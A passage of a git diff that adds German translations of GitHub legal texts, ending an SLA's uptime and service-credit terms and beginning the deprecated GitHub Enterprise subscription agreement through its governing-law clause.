+| **Aktionen** | (Gesamtzahl ausgelöster Ausführungen - Nicht verfügbare Ausführungen) / (Gesamtzahl ausgelöster Ausführungen) x 100 | „**Gesamtzahl ausgelöster Ausführungen**“ ist die Gesamtzahl aller Aktionsausführungen, die vom Kunden in einem Kalenderquartal ausgelöst wurden. <br><br> „**Nicht verfügbare Ausführungen**“ ist die Gesamtzahl von Ausführungen innerhalb der Gesamtzahl ausgelöster Ausführungen, die in einem Kalenderquartal nicht ausgeführt wurden.  Eine Ausführung gilt als nicht ausgeführt, wenn das Aktionsverlaufsprotokoll fünf (5) Minuten nach dem Auslösen des Triggers keine Ausgabe erfasst hat. | Wie oben |
+| **Pakete** | Uptime für Übertragungen = siehe „Aktionen“ <br> <br> Uptime für Speicher = 100 % - Durchschnittliche Fehlerrate* <br> <br> *Von der Berechnung der Uptime ausgeschlossen sind öffentliche Nutzung und Speichertransaktionen, die weder auf die Gesamtzahl von Speichertransaktionen noch auf die Anzahl fehlgeschlagener Speichertransaktionen angerechnet werden (einschließlich Fehler vor der Authentifizierung, Authentifizierungsfehler, versuchte Transaktionen für Speicherkonten über deren festgelegte Kontingente hinaus). | „**Fehlerrate**“ ist die Gesamtzahl fehlgeschlagener Speichertransaktionen dividiert durch die Gesamtzahl von Speichertransaktionen während eines festgelegten Zeitintervalls (derzeit eine Stunde). Wenn die Gesamtzahl von Speichertransaktionen in einem bestimmten Ein-Stunden-Intervall Null ist, beträgt die Fehlerrate für dieses Intervall 0 %. <br><br> „**Durchschnittliche Fehlerrate**“ ist die Summe der Fehlerraten für jede Stunde in einem Kalenderquartal dividiert durch die Gesamtzahl von Stunden in einem Kalenderquartal. | Wie oben |
+
+## Ausschlüsse
+Von der Berechnung der Uptime ausgeschlossen sind Fehler von Dienstfunktionen, die auf Folgendes zurückzuführen sind: (i) Handlungen, Unterlassungen oder Zweckentfremdung des entsprechenden GitHub-Diensts durch den Kunden, einschließlich Verstöße gegen die Vereinbarung, (ii) Fehler bei der Internetverbindung des Kunden, (iii) Faktoren außerhalb der Kontrolle von GitHub, einschließlich höherer Gewalt, oder (iv) Geräte, Dienste oder andere Technologie des Kunden.
+
+## Einlösung von Servicegutschriften
+Wenn GitHub diese SLA nicht erfüllt, kann der Kunde Servicegutschriften nur nach schriftlicher Anfrage an GitHub innerhalb von dreißig (30) Tagen nach Ende des Kalenderquartals einlösen. Schriftliche Anfragen für die Einlösung von Servicegutschriften und monatliche oder vierteljährliche GitHub Enterprise Cloud-Berichte des Kunden sollten an den [GitHub-Support](https://support.github.com/contact?tags=docs-policy) gesendet werden.
+
+Servicegutschriften erfolgen in Form einer Rückerstattung bzw. Gutschrift auf das Konto des Kunden (eine Barauszahlung ist nicht möglich), sind auf maximal neunzig (90) Tage bezahlten Dienst pro Kalenderquartal beschränkt, setzen voraus, dass der Kunde ausstehende Rechnungen beglichen hat, und laufen bei Beendigung der Vereinbarung des Kunden mit GitHub ab. Servicegutschriften sind der einzige und ausschließliche Abhilfeanspruch, sollte GitHub Verpflichtungen in dieser SLA nicht erfüllen.
diff --git a/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md b/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md
new file mode 100644
index 0000000000..57083dbd34
--- /dev/null
+++ b/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md
@@ -0,0 +1,457 @@
+---
+title: GitHub Enterprise-Abonnementvereinbarung
+hidden: true
+redirect_from:
+  - /articles/github-enterprise-agreement
+  - /articles/github-enterprise-subscription-agreement
+  - /github/site-policy/github-enterprise-subscription-agreement
+  - /github/site-policy-deprecated/github-enterprise-subscription-agreement
+versions:
+  fpt: '*'
+ms.openlocfilehash: 87d268550d2cb7312a40f845e5dcf0a2b402a61c
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099260'
+---
+_Diese Bestimmungen gelten für Kunden, die über abgeschlossene Vereinbarungen verfügen, die sich auf sie beziehen. Alle anderen Unternehmenskunden werden zu den aktuellen Bestimmungen unter https://www.github.com/customer-terms weitergeleitet._
+
+Diese Vereinbarung gilt für die folgenden GitHub-Angebote, wie unten näher definiert (zusammen die **„Produkte“** ):
+
+-   GitHub Enterprise (bestehend aus GitHub Enterprise Server und ggf. zugehöriger Add-On-Software sowie GitHub Enterprise Cloud);
+
+-   Alle Beta-Vorschauen;
+
+-   Jeglicher damit verbundener Support; und
+
+-   Alle damit verbundenen Professional Services.
+
+Zu dieser Vereinbarung gehören die folgenden Abschnitte und Anhänge, die jeweils durch Bezugnahme Bestandteil sind:
+
+* ABSCHNITT 1: Allgemeine Geschäftsbedingungen
+
+* ABSCHNITT 2: Lizenzbedingungen für GitHub Enterprise Server
+
+* ABSCHNITT 3: Vertragsbedingungen für GitHub Enterprise Cloud
+
+* ANHANG A: Definitionen
+
+Hat der Kunde Produkte von einem autorisierten GitHub-Händler erworben, werden folgende Abschnitte dieser Vereinbarung durch die Bedingungen ersetzt, die der Kunde mit dem GitHub-Handelspartner vereinbart hat: Abschnitt 1.1 (Laufzeit und Beendigung), Abschnitt 1.2 (Zahlung), Abschnitt 2.3 (Bereitstellung) und Abschnitt 2.4 (Verifizierung).
+
+## ABSCHNITT 1: ALLGEMEINE GESCHÄFTSBEDINGUNGEN
+
+Dieser Abschnitt 1 enthält die Bestimmungen, die für den Erwerb und die Nutzung von Produkten durch den Kunden gelten. Begriffe, die hier verwendet, jedoch nicht im Text der Vereinbarung definiert werden, werden in Anhang A erläutert.
+
+### 1.1 Laufzeit und Kündigung.
+
+#### 1.1.1 Laufzeit.
+
+Diese Vereinbarung beginnt am Wirksamkeitsdatum und bleibt in Kraft, bis sie von einer Partei gemäß diesem Abschnitt 1.1 gekündigt wird.
+
+#### 1.1.2 Ordentliche Kündigung. Kontoauflösung.
+
+Jede Partei kann ein Bestellformular oder diese Vereinbarung schriftlich ohne Angabe von Gründen mit einer Frist von dreißig (30) Tagen zum Ende der jeweiligen Abonnementlaufzeit kündigen. Wenn der Kunde ein Bestellformular oder eine Vereinbarung kündigt, liegt es in der Verantwortung des Kunden, sein Konto bei GitHub ordnungsgemäß aufzulösen, indem er in der globalen Navigationsleiste oben auf dem Bildschirm die Einstellungen aufruft. GitHub kann Konten nicht als Antwort auf eine E-Mail- oder Telefonanfrage auflösen.
+
+#### 1.1.3. Kündigung aufgrund wesentlicher Vertragsverletzung.
+
+Jede Partei kann diese Vereinbarung mit sofortiger Wirkung kündigen, wenn die andere Partei gegen eine wesentliche Verpflichtung aus dieser Vereinbarung verstößt und die Verletzung nicht innerhalb von dreißig (30) Tagen nach Erhalt der Benachrichtigung behebt. Darüber bleibt jeder Partei das Recht vorbehalten, diese Vereinbarung in folgenden Fällen fristlos schriftlich ohne Nacherfüllungsfrist zu kündigen: GitHub, wenn der Kunde beliebige Bestimmungen dieser Vereinbarung zum geistigen Eigentum von GitHub verletzt (unter anderem Nichterfüllung der Bedingungen für die Lizenzgewährung oder der Lizenzbeschränkungen durch den Kunden) oder wenn das Konto des Kunden länger als neunzig (90) Tage gesperrt ist; oder jede Partei, wenn die andere Partei ihre Geheimhaltungspflichten nach Abschnitt 1.4 nicht erfüllt.
+
+#### 1.1.4 Wirkung von Kündigung, Fortgeltung.
+
+Nach Kündigung dieser Vereinbarung darf der Kunde keine weiteren Bestellformulare einreichen. Diese Vereinbarung bleibt jedoch für alle ggf. aktiven Bestellformulare in Kraft. Wenn ein Bestellformular gekündigt wird oder abläuft, gilt für das betreffende Bestellformular Folgendes: (i) Die Abonnementlaufzeit für die Software und/oder den Dienst endet mit sofortiger Wirkung. (ii) Alle Abonnementlizenzen im Bestellformular werden automatisch beendet, und der Kunde ist nicht länger zur Nutzung der Produkte berechtigt. (iii) Schuldet der Kunde vor der Kündigung Gebühren, sind diese mit sofortiger Fälligkeit zahlbar. (iv) Der Kunde muss sämtliche Kopien der Software in seinem Besitz oder unter seiner Kontrolle vernichten und GitHub dies schriftlich bestätigen. (v) Jede Partei gibt umgehend sämtliche vertraulichen Informationen der anderen Partei zurück (oder vernichtet diese auf Anfrage der anderen Partei), insoweit dies für den Dienst zulässig ist. Der Kunde kann ungeachtet des Vorstehenden nach der Kündigung oder dem Ablauf dieser Vereinbarung oder eines Bestellformulars für neunzig (90) Tage weiterhin auf die Software zugreifen, um seine Daten zu migrieren, und die Migration der Daten in seinen Repositorys anfordern. Der Kunde darf die Software oder den Dienst in diesem Zeitraum jedoch nicht zu Produktionszwecken nutzen. Alle Bestimmungen, die aufgrund ihrer Art billigerweise gültig bleiben sollten, bleiben nach Kündigung oder Ablauf dieser Vereinbarung oder eines Bestellformulars gültig.
+
+### 1.2. Zahlung.
+
+#### 1.2.1 Gebühren.
+
+Der Kunde erklärt sich damit einverstanden, die Gebühren vollständig und im Voraus ohne Abzug oder Verrechnung jeglicher Art in US-Dollar zu zahlen. Der Kunde muss die Gebühren innerhalb von dreißig (30) Tagen nach dem GitHub Rechnungsdatum bezahlen. Gemäß dieser Vereinbarung zahlbare Beträge sind mit Ausnahme der Regelungen in den Abschnitten 1.5.1 und 1.6.2 nicht erstattungsfähig. Wenn der Kunde Gebühren nicht rechtzeitig zahlt, behält sich GitHub das Recht vor, zusätzlich zu anderen rechtlichen oder billigkeitsrechtlichen Maßnahmen (i) Zinsen auf überfällige Beträge in Höhe von 1,0 % pro Monat oder dem höchsten gesetzlich zulässigen Zinssatz zu berechnen, je nachdem, welcher Wert niedriger ist, und alle Kosten für die Beitreibung in Rechnung zu stellen sowie (ii) das entsprechende Bestellformular oder die jeweilige Leistungsbeschreibung zu kündigen. Der Kunde ist allein verantwortlich für alle Steuern, Gebühren, Zölle und behördlichen Veranlagungen (mit Ausnahme von Steuern, die auf dem Nettoeinkommen von GitHub basieren), die im Zusammenhang mit dieser Vereinbarung erhoben werden oder fällig werden.
+
+#### 1.2.2. Erwerb zusätzlicher Abonnementlizenzen.
+
+Der Kunde kann im Rahmen dieser Vereinbarung zusätzliche Abonnementlizenzen erwerben, indem er über die Website von GitHub oder beim GitHub-Vertriebsteam eine entsprechende Anforderung stellt. Wenn der Kunde die zusätzlichen Abonnementlizenzen erwirbt, muss der Kunde die dann aktuell geltenden Gebühren dafür bezahlen, anteilig für den Restbetrag der anwendbaren Abonnementlaufzeit. Bei Verlängerung der Abonnementlizenzen des Kunden für eine weitere Abonnementlaufzeit stellt GitHub alle Abonnementlizenzen auf einmal jährlich in Rechnung, sofern in einem Bestellformular nichts anderes angegeben ist.
+
+#### 1.2.3 Add-On-Software.
+
+Add-On-Software wird pro Benutzer lizenziert. Um Zweifel auszuschließen und sofern in einem Bestellformular nicht anders angegeben, muss die Anzahl von Abonnementlizenzen, die der Kunde zu einem bestimmten Zeitpunkt für Add-On-Software besitzt, der Anzahl von Abonnementlizenzen entsprechen, über die der Kunde für die Produkte unter dieser Vereinbarung verfügt. Wenn der Kunde beispielsweise ein Abonnement für Advanced Security erwerben möchte und bereits Abonnementlizenzen für 100 Benutzer für die Produkte besitzt, muss er für Advanced Security Abonnementlizenzen für 100 Benutzer erwerben.
+
+### 1.3 Professional Services.
+
+Auf Anfrage des Kunden nach Professional Services stellt GitHub eine Leistungsbeschreibung bereit, in der diese Professional Services näher beschrieben werden. GitHub erbringt die in jeder Leistungsbeschreibung beschriebenen Professional Services. GitHub kontrolliert die Art und Weise und Mittel, mit denen die Professional Services erbracht werden, und behält sich das Recht vor, das zugewiesene Personal zu bestimmen. GitHub kann Dritte zur Erbringung der Professional Services einsetzen, vorausgesetzt, dass GitHub für deren Handlungen und Unterlassungen verantwortlich bleibt. Der Kunde erkennt an und stimmt zu, dass GitHub alle Rechte, Ansprüche und Interessen an allem behält, was in Verbindung mit der Erbringung der Professional Services verwendet oder entwickelt wird, einschließlich Software, Tools, Spezifikationen, Ideen, Konzepten, Erfindungen, Prozessen, Techniken und Know-how. Soweit GitHub während der Erbringung der Professional Services dem Kunden etwas liefert bzw. für ihn bereitstellt, gewährt GitHub dem Kunden eine nicht ausschließliche, nicht übertragbare, weltweite, gebührenfreie, zeitlich begrenzte Lizenz zur Nutzung dieser Leistungen während der Laufzeit dieser Vereinbarung und ausschließlich in Verbindung mit der Nutzung der Software oder des Diensts durch den Kunden.
+
+### 1.4 Vertraulichkeit.
+
+Keine der Parteien wird die Vertraulichen Informationen der anderen Partei verwenden, es sei denn, dies ist gemäß dieser Vereinbarung gestattet. Jede Partei verpflichtet sich, die Vertraulichen Informationen der anderen Partei vertraulich zu behandeln und zu schützen, indem sie mindestens das gleiche Maß an Sorgfalt anwendet, das sie für ihre eigenen Informationen ähnlicher Art anwendet, aber in jedem Fall mindestens ein angemessenes Maß an Sorgfalt. Beide Parteien stimmen zu, alle angemessenen Maßnahmen zu ergreifen, um die unbefugte Offenlegung der vertraulichen Informationen der jeweils anderen Partei auszuschließen, unter anderem dadurch, dass sie entsprechende vertrauliche Informationen ausschließlich an jene ihrer Mitarbeiter weitergeben, (i) die diese Informationen kennen müssen, (ii) die entsprechende, ausreichende Vereinbarungen zur Erfüllung dieses Abschnitts 1.4 unterzeichnet haben und (iii) die über die Beschränkungen für die Verwendung und Offenlegung nach diesem Abschnitt 1.4. informiert sind. Die Parteien haften jeweils für alle Handlungen und Unterlassungen ihrer Mitarbeiter. Die vorstehenden Verpflichtungen hindern keine der Parteien daran, Vertrauliche Informationen der anderen Partei gemäß der Anordnung oder Anforderung eines Gerichts, einer Verwaltungsbehörde oder einer anderen Regierungsbehörde offenzulegen, vorausgesetzt, dass die Partei, die zu einer solchen Offenlegung verpflichtet ist, die andere Partei angemessen benachrichtigt, damit diese Partei diese Anordnung oder Anforderung anfechten kann, es sei denn, eine solche Mitteilung ist gesetzlich verboten. Die in diesem Abschnitt 1.4 dargelegten Beschränkungen gelten auch nach Kündigung oder Ablauf dieser Vereinbarung.
+
+### 1.5 Verteidigung gegen Ansprüche.
+
+Die Parteien verteidigen einander gegen die in diesem Abschnitt 1.5 beschriebenen Ansprüche Dritter im beschriebenen Umfang und zahlen die Summe eines resultierenden rechtskräftigen Urteils oder genehmigten Vergleichs, vorausgesetzt, die verteidigende Partei wird über den Anspruch umgehend schriftlich informiert und ist berechtigt, die Verteidigung zu übernehmen und einen etwaigen Vergleich herbeizuführen. Die verteidigte Partei muss der verteidigenden Partei alle angeforderten Hilfestellungen, Informationen und Vollmachten zur Verfügung stellen. Die verteidigende Partei wird der anderen Partei angemessene Auslagen erstatten, die ihr bei der Bereitstellung von Unterstützung entstehen, und ohne die vorherige schriftliche Zustimmung der anderen Partei, die nicht unangemessen zurückgehalten oder verzögert werden darf, keine Vergleiche fällen oder Zugeständnisse in Bezug auf eine Forderung eines Dritten machen. In diesem Abschnitt 1.5 sind die einzigen Abhilfen und die gesamte Haftung bezüglich derartiger Ansprüche beschrieben.
+
+#### 1.5.1 GitHub.
+
+GitHub verteidigt den Kunden gegen alle Ansprüche nicht verbundener Dritter, soweit darin behauptet wird, dass die autorisierte Nutzung der Software oder des Diensts durch den Kunden ein Urheberrecht, ein Patent oder eine Marke verletzt oder ein Geschäftsgeheimnis eines nicht verbundenen Dritten missbraucht. Wenn GitHub die Regulierung eines solchen Anspruchs zu wirtschaftlich vertretbaren Bedingungen nicht möglich ist, kann GitHub nach eigener Wahl entweder (i) die Software oder den Dienst modifizieren, reparieren oder ersetzen (falls zutreffend) oder (ii) das Abonnement des Kunden kündigen und alle vorausbezahlten, nicht genutzten Abonnementgebühren zurückerstatten. GitHub entstehen gemäß diesem Abschnitt 1.5.1 keine Verpflichtungen bei Ansprüchen, die sich aus Folgendem ergeben: (a) Änderung der Software oder des Diensts oder Kombination, Betrieb oder Nutzung der Software oder des Diensts mit Ausrüstung, Geräten, Software, Systemen oder Daten, die nicht ausdrücklich durch diese Vereinbarung (einschließlich der Dokumentation) genehmigt wurden, (b) Versäumnis des Kunden, die Nutzung der Software oder des Diensts einzustellen, nachdem er eine entsprechende Benachrichtigung erhalten hat, (c) Verpflichtungen des Kunden gemäß Abschnitt 1.5.2, (d) Produkte oder Dienste (einschließlich der Nutzung der Software oder des Diensts), die von GitHub kostenlos bereitgestellt werden, oder (e) dem Zugriff auf oder der Nutzung von Beta-Vorschauen. Im Sinne der Verpflichtung von GitHub gemäß diesem Abschnitt 1.5.1 enthalten die Software und der Dienst Open-Source-Komponenten, die von GitHub in die Software und den Dienst integriert wurden.
+
+#### 1.5.2 Kunde.
+
+Der Kunde verteidigt GitHub gegen alle Ansprüche nicht verbundener Dritter, die sich aus Folgendem ergeben: (i) Kundeninhalte, die der Kunde in die Software oder den Dienst hochlädt, (ii) Verstoß des Kunden gegen diese Vereinbarung, einschließlich Verletzung der Vertraulichkeit oder der vertretbaren Nutzungsbedingungen von GitHub durch den Kunden, (iii) vom Kunden an der Software vorgenommene Änderungen oder (iv) Ausrüstung, Geräte, Software, Systeme oder Daten von Dritten, die der Kunde mit der Software oder dem Dienst kombiniert, betreibt oder verwendet.
+
+### 1.6 Zusicherungen und Garantien, Haftungsausschluss, Haftungsbeschränkungen.
+
+#### 1.6.1 Allgemeine Garantie.
+
+Jede Partei erklärt und sichert der anderen Partei zu, dass sie die rechtliche Befugnis und Genehmigung hat, diese Vereinbarung abzuschließen, und dass diese Vereinbarung und jedes Bestellformular und jede Leistungsbeschreibung von einem Mitarbeiter oder Vertreter dieser Partei mit der erforderlichen Befugnis eingegangen wird, diese Partei an die Bedingungen dieser Vereinbarung zu binden.
+
+#### 1.6.2. Beschränkte Garantien.
+
+**(i) Software.** GitHub gewährleistet, (1) dass die unveränderte Software zum Zeitpunkt der Bereitstellung zum Herunterladen durch den Kunden keine Schadsoftware, Viren oder Würmer (auch als Computercode oder sonstige Technologien bekannt, die speziell dazu entwickelt werden, Software, Hardware, Computersysteme oder Netzwerke des Kunden zu stören, zu deaktivieren oder zu schädigen) enthält oder überträgt und (2) dass die unveränderte Software für neunzig (90) Tage ab dem Datum der Bereitstellung zum ersten Herunterladen im Wesentlichen der zugehörigen Dokumentation entspricht. GitHub gewährleistet nicht, dass die Nutzung der Software durch den Kunden unterbrechungsfrei oder der Betrieb der Software fehlerfrei verlaufen wird. Die Garantie nach diesem Abschnitt 1.6.2(i) gilt nicht, wenn der Kunde die Software auf eine Art und Weise ändert oder verwendet, die nach Abschnitt 2 und der Dokumentation nicht ausdrücklich gestattet ist. Die einzige Verpflichtung von GitHub und der einzige Abhilfeanspruch des Kunden bei Verletzungen dieser Garantie bestehen nach Wahl und auf Kosten von GitHub darin, (a) die Software zu reparieren, (b) die Software zu ersetzen oder (c) diese Vereinbarung in Bezug auf die fehlerhafte Software zu kündigen und während der jeweiligen Abonnementlaufzeit bereits entrichtete nicht genutzte Gebühren für die fehlerhafte Software zurückzuerstatten.
+
+**(ii) Professional Services.** GitHub gewährleistet gegenüber dem Kunden, dass alle im Rahmen dieser Vereinbarung erbrachten Professional Services auf professionelle und fachmännische Weise von entsprechend qualifiziertem Personal ausgeführt werden. Die einzige Verpflichtung von GitHub und der einzige Abhilfeanspruch des Kunden bei einer Verletzung dieser Garantie bestehen nach Wahl und auf Kosten von GitHub darin, (1) alle Professional Services, die diese Garantie nicht erfüllen, unverzüglich erneut zu erbringen, oder (2) die Leistungsbeschreibung zu kündigen und die nicht genutzten vorausbezahlten Gebühren zurückzuerstatten, wenn die Verletzung nicht behoben werden kann.
+
+#### 1.6.3 Haftungsausschluss.
+
+**(i) Allgemeines.** Sofern in dieser Vereinbarung nicht ausdrücklich anders angegeben, gibt GitHub keine weiteren Garantien oder Zusicherungen jeglicher Art und schließt hiermit ausdrücklich alle sonstigen ausdrücklichen, konkludenten oder gesetzlichen Garantien aus, unter anderem Garantien der Handelsüblichkeit, der Eignung für einen bestimmten Zweck, der Nichtverletzung von Rechten und Garantien oder Bedingungen infolge von Geschäftsbeziehung oder Handelsbrauch. Von GitHub oder anderer Stelle bereitgestellte schriftliche oder mündliche Empfehlungen oder Informationen bilden keinerlei Garantien oder Bedingungen, die in dieser Vereinbarung nicht ausdrücklich genannt werden.
+
+**(ii) Dienst.** GitHub stellt den Dienst **„WIE BESEHEN“** und **„WIE VERFÜGBAR“** ohne Gewährleistung jeglicher Art zur Verfügung. GitHub schließt ohne Einschränkungen des Vorstehenden sämtliche ausdrücklichen, konkludenten oder gesetzlichen Garantien für den Dienst aus, unter anderem Garantien der Handelsüblichkeit, der Eignung für einen bestimmten Zweck und der Nichtverletzung von Rechten sowie Rechts-, Sicherheits- und Genauigkeitsgarantien. GitHub gewährleistet nicht, dass der Dienst die Anforderungen des Kunden erfüllt; dass der Dienst ununterbrochen, zeitnah, sicher oder fehlerfrei ist; dass die über den Dienst bereitgestellten Informationen genau, zuverlässig oder korrekt sind; dass Mängel oder Fehler behoben werden; dass der Dienst zu einer bestimmten Zeit oder an einem bestimmten Ort verfügbar ist; oder dass der Dienst frei von Viren oder anderen schädlichen Komponenten ist. GitHub ist nicht verantwortlich für Verlustrisiken, die sich aus dem Herunterladen und/oder der Verwendung von Dateien, Informationen, Inhalten oder anderem Material, das vom Dienst bezogen wird, durch den Kunden ergeben.
+
+**(iii) Beta-Vorschauen.** Der Kunde kann Beta-Vorschauen nach eigenem Ermessen verwenden. Beta-Vorschauen werden möglicherweise nicht unterstützt und können jederzeit ohne Vorankündigung geändert werden. Beta-Vorschauen sind möglicherweise nicht so zuverlässig oder verfügbar wie der Dienst. Beta-Vorschauen unterliegen nicht denselben Sicherheitsmaßnahmen und Prüfungen, denen der Dienst unterzogen wurde und wird. GitHub übernimmt keine Haftung für oder im Zusammenhang mit Beta-Vorschauen. **Der Kunde verwendet Beta-Vorschauen auf eigenes Risiko.**
+
+#### 1.6.4 Haftungsbeschränkungen.
+
+**(i) Indirekte Schäden. Soweit nach anwendbarem Recht zulässig, haftet keine der Parteien gegenüber der anderen Partei oder Dritten für indirekte, besondere, zufällige, Straf- oder Folgeschäden (einschließlich entgangener Gewinne, Einnahmen oder Daten) oder für die Kosten für die Beschaffung von Ersatzprodukten, die sich aus oder im Zusammenhang mit dieser Vereinbarung ergeben, wie auch immer verursacht, unabhängig davon, ob sich diese Haftung aus einem Anspruch aus Vertrag, Gewährleistung, unerlaubter Handlung (einschließlich Fahrlässigkeit), verschuldensunabhängiger Haftung oder anderweitig ergibt und ob oder nicht eine Partei auf die Möglichkeit solcher Schäden hingewiesen wurde.**
+
+**(ii) Beschränkung der Gesamthaftung. Soweit nach anwendbarem Recht zulässig, übersteigt die kumulierte Gesamthaftung einer der Parteien im Rahmen dieser Vereinbarung aus allen Klagegründen und allen Haftungstheorien in keinem Fall die Gebühren, die der Kunde GitHub in den 12 Monaten vor der Entstehung dieses Anspruchs tatsächlich gezahlt hat. Für Produkte und Dienste (einschließlich der Nutzung der Produkte), die kostenlos bereitgestellt werden, ist die Haftung von GitHub auf direkte Schäden bis zu 5.000,00 USD beschränkt. Für Beta-Vorschauen ist die Haftung von GitHub auf direkte Schäden bis zu 500,00 USD beschränkt.**
+
+**(iii) Ausnahmen. Die Ausschlüsse und Beschränkungen nach diesem Abschnitt 1.6.4 gelten nicht für die Haftung infolge von (1) Verletzungen ihrer Geheimhaltungspflichten durch eine Partei nach Abschnitt 1.4 (ausgenommen jeglicher Haftung im Zusammenhang mit Inhalten (mit Ausnahme von GitHub-Inhalten), die weiterhin den vorstehenden Beschränkungen und Ausschlüssen unterliegen) oder (2) Verletzungen ihrer Verteidigungspflichten durch eine Partei nach Abschnitt 1.5 oder (3) Nichteinhaltung der Bedingungen für die Lizenzgewährung oder Lizenzbeschränkungen durch den Kunden nach den Abschnitten 2.1 und 2.2.**
+
+### 1.7. Abonnementlizenzen.
+
+Abonnementlizenzen werden pro Nutzer gewährt, und mehrere Nutzer dürfen nicht dieselbe Abonnementlizenz verwenden. Der Kunde darf eine Abonnementlizenz einem neuen Nutzer erst nach neunzig (90) Tagen nach der letzten Neuzuweisung derselben Abonnementlizenz neu zuweisen, es sei denn, die Neuzuweisung ist auf (i) dauerhaften Hardwareausfall oder -verlust, (ii) Beendigung des Arbeitsverhältnisses des Nutzers oder eines Vertrag, oder (iii) die vorübergehende Neuzuweisung von Abonnementlizenzen zurückzuführen, um die Abwesenheit eines Nutzers abzudecken. Wenn der Kunde eine Abonnementlizenz einem anderen Nutzer zuweist, muss der Kunde den Zugriff des früheren Nutzers auf die Abonnementlizenz und die Organisationen des Kunden sperren.
+
+### 1.8. Verbundene Unternehmen.
+
+Die verbundenen Unternehmen des Kunden sind berechtigt, die Software oder den Dienst nach dieser Vereinbarung zu verwenden, solange der Kunde für ihren Zugriff und ihre Nutzung der Software und des Diensts voll verantwortlich bleibt.
+
+### 1.9 Support.
+
+GitHub leistet wie folgt Support für die Software und den Dienst:
+
+#### 1.9.1 Standard-Support.
+
+GitHub stellt ohne zusätzliche Kosten vierundzwanzig (24) Stunden pro Tag, fünf (5) Tage pro Woche, außer an Wochenenden und nationalen Feiertagen in den USA, standardmäßigen technischen Support für die Software und den Dienst bereit. Standard-Support wird nur über webbasiertes Ticketing über den GitHub Support angeboten, und Support-Anfragen müssen von einem Nutzer initiiert werden, mit dem das Support-Team von GitHub interagieren kann.
+
+#### 1.9.2 Erweiterte Supportangebote.
+
+GitHub kann erweiterte Supportangebote für die Software und den Dienst (einschließlich der Premium-, Premium Plus- und Engineering Direct-Supportangebote) nach den [Supportbestimmungen](/enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise) und auf der Supportebene, zu den Gebühren und in der Abonnementlaufzeit bereitstellen, die in einem Bestellformular oder einer Leistungsbeschreibung angegeben sind.
+
+#### 1.9.3 Ausschlüsse.
+
+GitHub unternimmt angemessene Anstrengungen, um alle wesentlichen, reproduzierbaren Fehler der Software zu beheben, über die der Kunde GitHub informiert. GitHub ist jedoch nicht für die Erbringung von Support verantwortlich, wenn (i) jemand (anderes als GitHub) die Software ändert, (ii) der Kunde sein Betriebssystem oder seine Umgebung so ändert, dass sich dies nachteilig auf die Software oder ihre Leistung auswirkt, (iii) der Kunde die Software auf andere als nach dieser Vereinbarung oder der Dokumentation zulässige Weise verwendet oder (iv) der Kunde fahrlässig mit der Software umgeht oder sie zweckentfremdet.
+
+### 1.10. Schutz- und Urheberrechte.
+
+Zwischen den Parteien besitzt GitHub alle Rechte, Ansprüche und Interessen, einschließlich aller Rechte an geistigem Eigentum, an den Produkten. GitHub behält sich alle Rechte an den Produkten vor, die dem Kunden im Rahmen dieser Vereinbarung nicht ausdrücklich gewährt werden. GitHub kann eventuelle Rückmeldungen, Kommentare und Vorschläge, die der Kunde macht oder in Foren veröffentlicht, ohne Pflichten dem Kunden gegenüber verwenden, in die Produkte integrieren oder zur Änderung der Produkte verwenden.
+
+### 1.11 Feedback.
+
+Der Kunde kann GitHub Feedback zu den Produkten geben. Feedback ist freiwillig und stellt keine Vertraulichen Informationen des Kunden dar, auch wenn es als solche gekennzeichnet ist. GitHub kann dieses Feedback vollständig ausüben und nutzen, um (i) den Betrieb, die Funktionalität und die Nutzung der vorhandenen und zukünftigen Produktangebote von GitHub zu verbessern und diese Angebote zu kommerzialisieren; und (ii) um aggregierte Statistiken über die Qualität der Produkte zu veröffentlichen, vorausgesetzt, dass keine Daten in einer solchen Veröffentlichung verwendet werden, um den Kunden, seine Mitarbeiter oder den proprietären Softwarecode des Kunden speziell zu identifizieren.
+
+### 1.12. Einhaltung von Gesetzen und Regelungen.
+
+Der Kunde hält bei der Nutzung der Produkte alle anwendbaren Gesetze und Regelungen ein, insbesondere Datenschutz- und Arbeitsgesetze und -regelungen.
+
+### 1.13. Allgemeine Bestimmungen.
+
+#### 1.13.1 Anwendbares Recht, Gerichtsstand.
+
+Wenn sich der Hauptsitz des Kunden in Nord- und Südamerika befindet, unterliegt diese Vereinbarung den Gesetzen des US-Bundesstaates Kalifornien und wird in Übereinstimmung mit diesen ausgelegt, ohne dass die Grundsätze des Kollisionsrechts wirksam werden, werden alle Klagen oder Verfahren, die sich aus dieser Vereinbarung ergeben, ausschließlich vor den Bundes- oder Staatsgerichten im Northern District of California verhandelt und stimmen die Parteien hiermit der persönlichen Gerichtsbarkeit und dem dortigen Gerichtsstand zu. Wenn sich der Hauptsitz des Kunden außerhalb Amerikas befindet, unterliegt diese Vereinbarung den Gesetzen von Irland, werden alle Klagen oder Verfahren, die sich aus dieser Vereinbarung ergeben, ausschließlich vor den Gerichten in Dublin verhandelt und stimmen die Parteien hiermit der persönlichen Gerichtsbarkeit und dem dortigen Gerichtsstand zu. Die Parteien vereinbaren ausdrücklich, dass das Übereinkommen der Vereinten Nationen über Verträge über den internationalen Warenkauf und der Uniform Computer Information Transactions Act auf diese Vereinbarung keine Anwendung finden. Ungeachtet gegenteiliger Bestimmungen im Vorstehenden kann GitHub bei jedem Gericht mit angemessener Zuständigkeit einen Anspruch auf billigkeitsrechtlichen Rechtsschutz geltend machen.
+
+#### 1.13.2 US-Behördenbenutzer.
+
